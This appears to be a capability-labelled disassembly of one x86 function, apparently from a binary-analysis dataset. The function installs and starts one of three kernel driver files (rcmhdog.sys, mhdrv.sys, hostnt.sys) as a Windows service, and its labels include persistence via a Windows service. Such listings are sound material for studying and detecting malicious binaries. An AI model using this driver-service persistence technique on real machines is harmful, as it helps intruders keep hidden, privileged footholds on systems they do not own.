Function at 0x1000c030
Capabilities:
Create service
Persist via windows service
Query service status
Start service
Stop service

Disassembly:
sub esp, 0x120
xor eax, eax
lea edx, [esp + 0x20]
push ebx
push ebp
push esi
push edi
lea edi, [ecx + 4]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 0x134]
and ecx, 3
sub eax, 0
rep movsb byte es:[edi], byte [esi]
je 0x1000c0de
dec eax
je 0x1000c0a9
dec eax
jne 0x1000c113
mov edi, str.drivers_rcmhdog.sys
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x30]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebx, 0x10026904
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x1000c117
mov edi, str.driversmhdrv.sys
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x30]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebx, str.Mhdrv
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x1000c117
mov edi, str.drivershostnt.sys
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x30]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebx, str.Hostnt
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x1000c117
mov ebx, dword [esp + 0x2c]
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
push 0xf01ff
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
je 0x1000c18a
mov ebp, dword [sym.imp.ADVAPI32.dll_ControlService]
lea eax, [esp + 0x10]
push eax
push 1
push esi
call ebp
test eax, eax
jne 0x1000c15d
lea ecx, [esp + 0x10]
push ecx
push 1
push esi
call ebp
test eax, eax
je 0x1000c18a
mov ebp, dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
lea edx, [esp + 0x10]
push edx
push esi
call ebp
test eax, eax
je 0x1000c18a
cmp dword [esp + 0x14], 3
jne 0x1000c18a
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x10]
push eax
push esi
call ebp
test eax, eax
jne 0x1000c16f
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x40]
push 0
push ecx
push 1
push 2
push 1
push 0xf01ff
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov ebp, dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov esi, eax
test esi, esi
je 0x1000c21c
push 0
push 0
push esi
call ebp
test eax, eax
je 0x1000c215
mov ebx, dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
lea edx, [esp + 0x10]
push edx
push esi
call ebx
test eax, eax
je 0x1000c1fa
mov eax, dword [esp + 0x14]
cmp eax, 2
jne 0x1000c1e9
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1000c1ee
cmp eax, 4
je 0x1000c1fa
lea eax, [esp + 0x10]
push eax
push esi
call ebx
test eax, eax
jne 0x1000c1d6
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x120
ret 4
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0xf01ff
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x1000c248
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
pop ebp
mov eax, 0xbb9
pop ebx
add esp, 0x120
ret 4
push 0
push 0
push esi
call ebp
test eax, eax
je 0x1000c2a4
mov ebx, dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
lea ecx, [esp + 0x10]
push ecx
push esi
call ebx
test eax, eax
je 0x1000c289
mov eax, dword [esp + 0x14]
cmp eax, 2
jne 0x1000c278
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1000c27d
cmp eax, 4
je 0x1000c289
lea edx, [esp + 0x10]
push edx
push esi
call ebx
test eax, eax
jne 0x1000c265
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x120
ret 4
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
pop edi
pop esi
pop ebp
mov eax, 0xbba
pop ebx
add esp, 0x120
ret 4